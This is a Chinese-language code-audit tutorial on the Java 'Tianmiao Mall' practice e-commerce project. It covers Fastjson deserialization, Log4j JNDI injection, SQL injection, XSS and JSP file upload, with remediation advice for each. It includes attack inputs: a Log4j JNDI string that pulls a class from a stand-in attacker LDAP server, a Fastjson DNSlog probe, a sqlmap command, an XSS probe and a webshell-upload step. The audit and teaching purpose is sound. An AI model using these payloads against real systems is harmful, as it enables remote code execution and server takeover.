JAVA代码审计-天喵商城
字数 2235 2025-08-11 08:36:35
天喵商城Java代码审计教学文档
一、项目概述
天喵商城是一个基于Spring Boot的综合性B2C电商平台,模拟天猫商城的购物流程,包含用户注册、登录、商品浏览、购物车、下单、收货、评价等功能。其数据管理后台包含商品管理、订单管理、类别管理、用户管理和交易额统计等模块。
二、环境搭建
1. 环境要求
- 操作系统:Windows 10
- Java版本:1.8.0_261
- MySQL版本:5.7(可使用PHPstudy集成环境)
- IDE:任意版本的IDEA
2. 部署流程
- 使用source命令导入数据库
- 启动项目环境
三、代码审计要点
1. 第三方组件漏洞审计
1.1 Fastjson反序列化漏洞(版本1.2.58)
漏洞描述:
Fastjson 1.2.58版本存在反序列化漏洞,攻击者可构造恶意JSON数据,在反序列化过程中执行任意代码。
漏洞定位:
- 全局搜索
JSON.parseObject()和JSON.parse() - 在
ProductController.java中发现JSON.parseObject(propertyJson)调用
漏洞验证:
- 访问"所有产品-添加一件产品"功能
- 使用DNSlog进行验证,构造恶意payload:
{"@type":"java.net.Inet4Address","val":"dnslog地址"}
修复建议:
- 升级Fastjson至最新安全版本
- 对反序列化内容进行严格过滤
1.2 Log4j远程代码执行漏洞(版本2.10.0)
漏洞描述:
Log4j 2.10.0版本存在JNDI注入漏洞,攻击者可通过构造恶意日志消息实现远程代码执行。
漏洞定位:
- 全局搜索
logger - 在
AccountController.java中发现日志记录代码
漏洞验证:
- 构造包含
${jndi:ldap://攻击者服务器/恶意类}的请求 - 使用BurpSuite的DNSlog功能验证
修复建议:
- 升级Log4j至2.17.0或更高版本
- 设置
log4j2.formatMsgNoLookups=true
1.3 Mybatis远程代码执行漏洞(版本3.5.1)
漏洞描述:
Mybatis < 3.5.6存在远程代码执行漏洞(CVE-2020-26945),但需要满足以下条件:
- 启用了内置的二级缓存(默认关闭)
- 未设置JEP-290过滤器
- 攻击者能修改私有Map字段条目
审计结果:
- 检查
mybatis配置文件,未发现<setting name="cacheEnabled" value="true" /> - 项目未开启二级缓存,故不存在此漏洞
2. SQL注入漏洞
漏洞描述:
在order by子句中使用$拼接SQL语句可能导致SQL注入。
漏洞定位:
- 全局搜索
$ - 在
UserMapper.xml中发现order by ${orderBy} ${isDesc}语句 - 逆向追踪到
UserServiceImpl.java和UserController.java
漏洞验证:
使用SQLmap进行验证:
sqlmap -u "http://目标URL" --data="orderBy=参数" --risk=3 --level=5
修复建议:
- 对
order by参数进行白名单校验 - 使用预编译语句替代动态拼接
3. XSS跨站脚本漏洞
漏洞描述:
系统未对用户输入进行有效过滤,导致存储型和反射型XSS。
审计发现:
- 检查filter层,未发现XSS过滤代码
- 多处用户输入点未进行编码或过滤
漏洞验证:
- 在登录框输入
<script>alert(1)</script> - 在"我的账户"页面同样可触发XSS
修复建议:
- 实现全局XSS过滤器
- 对输出内容进行HTML编码
- 设置HttpOnly和Secure标志
4. 任意文件上传漏洞
漏洞描述:
管理员头像上传功能未对文件类型进行严格校验,导致可上传恶意JSP文件。
漏洞定位:
- 检查上传接口
admin/uploadAdminHeadImage - 分析上传逻辑:
- 获取原始文件名和后缀名
- 使用UUID重命名文件
- 未校验文件内容类型
漏洞验证:
- 构造上传请求,上传JSP Webshell
- 访问上传路径获取shell:
/tmall/res/images/item/adminProfilePicture/[随机UUID].jsp
修复建议:
- 校验文件内容类型(MIME类型)
- 限制上传文件扩展名
- 将上传目录设置为不可执行
- 对上传文件重命名
四、总结与修复方案
1. 漏洞总结
| 漏洞类型 | 风险等级 | 影响范围 | 修复优先级 |
|---|---|---|---|
| Fastjson反序列化 | 高危 | 全站 | 紧急 |
| Log4j RCE | 高危 | 全站 | 紧急 |
| SQL注入 | 中危 | 用户数据 | 高 |
| XSS | 中危 | 用户端 | 中 |
| 文件上传 | 高危 | 服务器 | 紧急 |
2. 整体修复建议
-
组件升级:
- 升级Fastjson至最新安全版本
- 升级Log4j至2.17.0+
- 升级Mybatis至3.5.6+
-
安全加固:
- 实现全局安全过滤器(XSS、SQL注入防护)
- 严格校验所有用户输入
- 实现文件上传白名单机制
-
安全开发规范:
- 禁止使用
$进行SQL拼接 - 对所有输出进行编码
- 实现权限最小化原则
- 禁止使用
-
监控与日志:
- 加强安全日志记录
- 实现异常请求监控
- 定期进行安全审计
五、参考资源
- Fastjson反序列化漏洞分析
- Log4j漏洞原理与防护
- OWASP Top 10安全指南
- 项目原始分析文章链接